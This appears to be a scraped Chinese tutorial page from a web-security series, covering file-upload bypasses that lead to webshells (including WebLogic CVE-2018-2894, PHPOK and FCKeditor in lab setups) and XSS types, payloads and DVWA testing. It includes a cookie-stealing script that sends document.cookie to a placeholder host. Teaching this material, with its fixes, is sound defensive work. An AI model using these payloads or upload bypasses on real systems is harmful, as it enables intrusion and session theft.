    function getReailFileType($filename){    $file = fopen($filename, "rb");    $bin = fread($file, 2); //只读2字节    fclose($file);    $strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    switch($typeCode){        case 255216:            $fileType = 'jpg';            break;        case 13780:            $fileType = 'png';            break;        case 7173:            $fileType = 'gif';            break;        default:            $fileType = 'unknown';        }        return $fileType;}$is_upload = false;$msg = null;if(isset($_POST['submit'])){    $temp_file = $_FILES['upload_file']['tmp_name'];    $file_type = getReailFileType($temp_file);    if($file_type == 'unknown'){        $msg = "文件未知,上传失败!";    }else{        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);  //此处为了方便演示添加了file_ext 变量        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_ext;        if(move_uploaded_file($temp_file,$img_path)){            $is_upload = true;        } else {            $msg = "上传出错!";        }    }}

    然后上传php文件,修改文件内容,添加文件头GIF89a:

    1029a604f0b8a1dbb5c93f25fb93f6f3.png

    这种添加形式类似于在hex中修改添加:

    dd9516e649b79d959c31aa688b3ea334.png

    然后在访问以上传的文件:

    5a68643bc10774dcdaf2e0b2ed4d0a78.png

    4.2 利用工具进行FUZZ

    很多网站对上传进行拦截的时候采取的是黑名单校验,当我们看到黑名单的时候就可以考虑采取修改后缀、截断等方式尝试绕过。

    我们采用一个工具:https://github.com/c0ny1/upload-fuzz-dic-builder 来生成fuzz的字典。执行命令:

    python upload-fuzz-dic-builder.py -n test -a jpg -l php -m apache --os win -o upload_file.txt

    把生成的字典导入burp中,同时取消payload-encoding的选中状态。执行后可以看到有些php文件上传成功。然后访问其中上传成功的文件,查看是否执行。

    db24a16894f54cc5ad1620c30e463f69.png

    访问如图中的地址文件,可以看到上传成功:

    a564d784995045d0dc275bc02a54c777.png

    5. 实战演示

    演示漏洞为:CVE-2018-2894

    漏洞环境:Linux  Weblogic 12.2

    漏洞下载地址:https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2894

    漏洞介绍:WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do。

    影响范围为:Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。

    下载好vulhub后,进入相应的CVE目录,执行如下命令:

    docker-compose up -d

    等到docker构建结束,会在7001端口开放一个服务,如下所示:

    35a843aa67d15f747633365b146f7102.png

    此处需要登陆账号和密码,正常情况下是尝试弱口令进后台上传文件,此处方便演示,从构建日志中查看密码:

    docker-compose logs | grep password
    查看结果:
    weblogic_1 | ----> 'weblogic' admin password: oZUcqr8j
    weblogic_1 | admin password : [oZUcqr8j]
    weblogic_1 | * password assigned to an admin-level user. For *

    登陆后界面如下:

    07a9654957cfceaa28e24a29abf27257.png

    点击左侧中的base_domain选项,再点击下面的高级选项,从高级中启用web测试页,保存。

    5106eca8228faab4ec46c019080a7ba4.png

    然后访问http://192.168.120.132:7001/ws_utc/config.do页面,设置Work Home Dir,可以看到其中已经填写一个目录,此目录访问需要登陆,修改为P牛的建议路径:

    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

    原路径为:

    /u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir

    在当前页面中选择安全->添加,上传webshell

    98063e58eee4e0f18e0cfe45c9a2afef.png

    然后从放回页面中查看id项时间戳,访问路径/ws_utc/css/config/keystore/时间戳_文件名

    bbdfa58a6601ce448eda0c4a1a845cb8.png

    然后执行命令whoami:

    e70b2c0d0b7e6221932c2235bc4d5c11.png

    6. CMS实战演示

    6.1 PHPOK 任意文件上传

    演示漏洞为:phpok 任意文件上传

    漏洞环境:Windows phpStudy

    漏洞环境下载:https://download.phpok.com/4.8.338.zip

    漏洞介绍:phpok 4.8.338版本管理后台存在任意文件上传漏洞,攻击者可利用漏洞上传任意文件,获取网站权限。

    下载文件后,把解压的文件放入phpstudy中的www目录中,此处修改了版本号目录为phpok。然后访问本地地址:http://localhost/phpok,会自动进入安装页面,填写数据库密码,创建账号后自动进入安装页面,安装完成后显示如下:

    ee9e5c10d9d49f76a38ef0b62c7e54b5.png

    使用一开始创建的账号密码登陆,登陆成功后在后侧的选择栏处选择工具->附件分类管理。

    78bb574174f0120e73255658926ca9d6.png

    点击右侧上方的创建资源分类,然后在支持的附件类型中创建php文件类型。

    aa9125f72e097eaf03dbafbbac90da29.png

    选择左侧的内容管理->资讯中心->行业管理

    129cf79424103bf48e316df8083d4021.png

    点击页面中的选择图片->上传附近选择添加的附件类型->选择php文件上传,上传成功后点击上传的图片,选择预览就可以看到文件目录的地址

    c7b30035a1abe0393ac21e23718d60e0.png

    访问地址文件后门,可以看到执行代码成功

    4db919a76ff8a27b0308eacb27f863b6.png

    漏洞修复:此问题在高版本修复,及时升级到高版本处理,目前最新版本为5.2.116。

    6.2 FCKeditor 2.4.3 文件上传

    演示漏洞为:FCKeditor 2.4.3 文件上传

    漏洞环境:Windows phpStudy

    漏洞环境下载:https://github.com/treadmillian/fckeditor.git

    漏洞介绍:FCKeditor  /fckeditor/editor/filemanager/upload/php/upload.php 文件上传漏洞。

    首先从GitHub下载文件,放到phpStudy的www目录中,同时修改config.php文件,修改UserFilesPath参数为fck目录下的地址,可以修改为网站根目录下的任意目录中,此处修改如下:

    文件地址:\fckeditor\editor\filemanager\browser\default\connectors\php\config.php

    ab3ce4e6731c5a3de693a50e0d032a51.png

    访问地址:http://localhost/fckeditor/editor/filemanager/browser/default/connectors/test.html#

    dc052f4d5f0e8c2e8151144cf07d04ae.png

    选择文件上传,由于2.4.3在文件配置已经进行了后缀的限制,默认限制为:

    array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis','sh','shtml','shtm','phtm')

    对于此处漏洞我们采用空格绕过,先上传一个JPG的图片,抓包修改后缀,添加空格如下:

    f34905cb572ceb30a180cd77277962f7.png

    访问上传产生的路径文件,路径会显示在页面中:

    http://localhost/fckeditor/editor/filemanager/browser/default/connectors/uploads/file/05091707156.php

    9aeba26c78d49f0788c42c1d2391e456.png

    执行一句话木马文件:

    cce5bc3eedc5cce1c0b095baea4592ba.png

    漏洞修复:由于此处使用黑名单校验,可以根据需要的类型修改为白名单参数。

    7. 漏洞修复

    关于文件上传漏洞的产生和修改此处讨论两种文件上传漏洞的情况和修复:

    4.27.1 代码未判断文件类型或者文件类型限制不完全,一般这种是黑名单或者没有限制,建议添加白名单限制参数数组,固定为图片或文本格式文件。

    例如如下:

    if(isset($_POST['submit'])){    $ext_arr = array('jpg','png','gif');    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);    if(in_array($file_ext,$ext_arr)){        $temp_file = $_FILES['upload_file']['tmp_name'];        $img_path = UPLOAD_PATH.'/'.rand(10, 99).date("YmdHis").".".$file_ext;        if(move_uploaded_file($temp_file,$img_path)){            $is_upload = true;        } else {            $msg = "上传失败";        }    } else {        $msg = "只允许上传.jpg|.png|.gif类型文件!";    }}

    7.2 如果是使用WEB中间件存在上传,或者是CMS存在文件上传漏洞,根据官方建议安装补丁升级版本,或者使用官方推荐的临时修改策略来限制问题的产生和利用。

    75e581600c17f6de2f0cbdbca8081c29.pnga3784cbc308f8c43ae3da38d2a179155.png25a6aa4cbed397f760965eb6311e0393.gif

    点击“阅读原文”,跳转至github查看更多~

    展开全文
  • 大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫Web安全实战(https://github.com/hongriSec/Web-Security-Attack),希望...

    本文由红日安全成员:Aixic 编写,首发于先知社区红日专栏。如有不当,还望斧正。
    大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫Web安全实战(https://github.com/hongriSec/Web-Security-Attack),希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。

    1.XSS漏洞概述

    1.1 漏洞简介

    跨站脚本攻击—XSS(Cross Site Script),是指攻击者通过在Web页面中写入恶意脚本,造成用户在浏览页面时,控制用户浏览器进行操作的攻击方式。假设,在一个服务端上,有一处功能使用了这段代码,他的功能是将用户输入的内容输出到页面上,很常见的一个功能。但是假如,这里输入的内容是一段经过构造的js。那么在用户再次访问这个页面时,就会获取使用js在用户的浏览器端执行一个弹窗操作。通过构造其他相应的代码,攻击者可以执行更具危害的操作。

    1.2 XSS漏洞原理

    1.2.1 反射型

    非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS
    主要是GET类型

    1.2.2 存储型

    持久型,常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。
    例如:alert(/xss/)

    1.2.3 DOM型

    DOM型是特殊的反射型XSS
    在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

    <script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);script>

    1.3 XSS危害

    1.3.1 盗取管理员cookie

    盗取管理员的cookie然后登陆后台,获取到后台权限。

    1.3.2 XSS蠕虫攻击

    可以构成几何的速度进行传播xss代码,获取大部分人的权限。一般配合csrf使用

    1.4 常用XSS语句

    <script>alert(/xss/);script> //经典语句

    <BODY ONLOAD=alert('XSS')>
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    <a href = javasript:alert(1)>

    1.5 XSS漏洞绕过

    1.5.1 JS编码

    三个八进制数;如果不够前面补0
    两个十六进制数字;如果不够前面补0
    四个十六进制数字;如果不够前面补0
    控制字符

    1.5.2 HTML实体编码

    &开始;结束

    1.5.3 URL编码

    %27
    考虑HTML的渲染方式选择合适的编码方式进行测试

    1.6 XSS漏洞浏览器问题

    有些浏览器会过滤掉一些js脚本,在测试的时候需要关闭对JavaScript的检测。

    0x06 XSS漏洞防御

    过滤输入的数据,和非法字符‘ “ < > on* 等”’
    输出到页面的数据进行相应的编码转换包括HTML实体编码、JavaScript编码等

    2. 测试方法

    2.1 手工测试

    这里我们选取DVWA靶场进行手工测试。

    2.1.1

    2.1.1.1 DVWA 简介

    DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

    2.1.1.2 DVWA 安装

    https://github.com/ethicalhack3r/DVWA/archive/master.zip

    本地PHPStudy搭建DVWA靶机,放入www目录下即可
    环境使用PHP+MySQL即可。

    486a44cffe6195047390981ad12b23a9.png

    image-20190811182129720

    修改config.inc.php.dist配置文件中的数据库密码,并且把文件后缀.dist去掉

    8af48830c1260e701669fc22d5ea49f8.png

    image-20190811182159111

    因为是xss实验,所以上面的红字可无视,重置一下数据库进入靶场

    7495289ccf97ff484ae2ad7658fb5c32.png

    image-20190811182222937

    用户名:admin 密码:password 登陆靶场

    d32af7eddfe3c23385cb5dc37d73c9fe.png

    image-20190811182237449

    默认的难度是impossible级别,先选择low级别

    9557fa27e2c1f44eddb297a6481be438.png

    image-20190811182246872

    2.1.1.3 测试过程

    LowLow_DOM XSS
    即可触发XSS

    4e53982cecef50d4ed6b80ad3d939a4c.png

    mage-20190811182257946

    Low_Reflected XSS
    直接使用

    12dc2e3529d3ccbf0b83c4acbf582484.png

    image-20190811182322304

    Low_Stored XSS

    2febcf1dd5ec5b3a9c216ebeeec65696.png

    image-20190811182347247

    dd02ea2abed800232d6f6eeb76e258b8.png

    在这里插入图片描述

    MediumMedium_DOM XSS
    从Medium级别就开始有加固

    99b2962c1069ceb51f78d51c966a052f.png

    在这里插入图片描述

    可以看到它先判断default是否为空,如果不为空,判断下面判断GET输入进来的变量default是否存在

    20e16a55a4528105f343e915cb9c534d.png

    在这里插入图片描述

    ** XSS(Stored) **
    http://10.1.1.14:65412/?comment=%3Cscript%3Ealert(/xss%20aixi/)%3C/script%3E
    代码

    81d239672a270b5afee9d6e02c89cbaf.png

    在这里插入图片描述

    直接弹射

    ** XSS(DOM) **
    ?##lang=

    787a1e03691f78a41bf0ce1133709cd0.png

    在这里插入图片描述

    直接弹射

    ** XSS(JSON) **

    ed55d9697c520fc9969abac2e1aa9a45.png

    在这里插入图片描述

    3a9d0b7fd764e7158ceea8fd768acab7.png

    在这里插入图片描述

    看代码可发现
    构造语句alert(/xss/)即可不用带script

    e9696191551eae342a8cd2d838114997.png

    在这里插入图片描述

    2.2 工具测试

    因为要测试所以需要关闭DVWA的登陆验证
    加上$dvwaSession[ 'username' ]='admin';

    539ce1dff6df712bf92310383141413f.png

    在这里插入图片描述

    在config/config.inc.php把默认难度也改成low

    69806d7f691d3ed65491c7c90bd0f6ff.png

    在这里插入图片描述

    2.2.1 BruteXSS

    下载链接

    https://github.com/ym2011/penetration/tree/master/BruteXSS

    30c0a7280eb91ed6bdbcfdb19b1d14a4.png

    image-20190811182510256

    7662b6faf73a8baaaa3f75ba5e235a9f.png

    4389ad33a37f23249f72d6e330f70a70.png

    测试过程中会因为DVWA的cookie验证严格出现问题,把dvwa的代码进行本地测试利用即可

    efcce1d35bcf964b973dd4f63afc8e85.png

    image-20190811182720820

    2.2.2 xxser

    Kali自带或下载链接

    在基于Debian的系统上安装

    sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip 使用

    5aa667db76000e11de7d140f9a8cbbca.png

    在这里插入图片描述

    利用成功

    f0177d981e257df183f497ce35753456.png

    f25afc2db4f81e795175e4bedabc75c6.png592292c3a198f01f0f1e5c5399df5f03.pngc7975e17f1ff39adef34a9bc984cb1ec.gif

    点击“阅读原文”,跳转至github查看更多~

    展开全文
  • Web安全攻防 渗透测试实战指南 学习笔记 (四) Nmap Network Mapper 是一款开放源代码的网络探测和安全审核工具 nmap的相关参数和常用方法在此文章中已经注明~ ...
  • 大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一文章都是...
  • 钓鱼攻击是获得用户敏感信息的一种方法。钓鱼攻击的目标通常是在线银行用户、PayPal、eBay等。 主要形式: 1.电子邮件钓鱼 ... 2.网站钓鱼 在网站上伪造一个网站,通常是模仿合法的某个网站。...经常也需要使用一个欺骗性...
  • 随之而来的也有安全威胁。 1.1.1 Web应用程序的常见功能 一些常见功能,不再列举。 1.1.2 Web应用程序的优点 Http是万维网核心协议,轻量级,无需连接。 每个Web用户在计算机或者其它设备上安装了浏览器。 ...
  • 大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫Web安全实战,希望对想要学习Web安全的朋友们有所帮助。每一文章都是于...
  • 大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一文章都是...
  • 大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一文章都是...
  • 实战篇》 随着网络技术的快速发展以及网络带宽的不断扩张, Web 应用程序几乎无处不在,渗透到社会的经济、文化、娱乐等各个方面。但同时,承载着丰富功能与用途的 Web 应用程序也成为恶意用户与黑客等攻击者...
  • 实战篇》 随着网络技术的快速发展以及网络带宽的不断扩张, Web 应用程序几乎无处不在,渗透到社会的经济、文化、娱乐等各个方面。但同时,承载着丰富功能与用途的 Web 应用程序也成为恶意用户与黑客等攻击者...
  • 今天想了解一下书中介绍的Samy蠕虫病毒。 这是一个在24小时内感染了100多万MySpace用户的病毒,传播速度很快。 这是从网上找来的XSS Samy源代码。 &...div id=mycode style=&...BACKGROUND: url('java script:...
  • 媒体评论 “想成为 Web 安全高手吗?读这本书吧,你一定不会失望!...“没有空洞的理论和概念,也没有深奥的行话,除了实战经验,还是实战经验……” ...跟安全技术大师学习黑客攻防技术 全面分析 Web 应用...
  • 大致看了下第二章,对文章里面的细节在慢慢...使用有隐患的web应用 攻击者获取对浏览器访问权的一种方式。获取访问权后,攻击者可以修改网页内容以包含恶意代码。 ######3.使用网络广告 利用广告网络在浏览器中...
  • 大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一文章都是...
  • 大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一文章都是...

空空如也

空空如也

1 2 3 4 5
收藏数 93
精华内容 37
关键字:

web安全攻防实战篇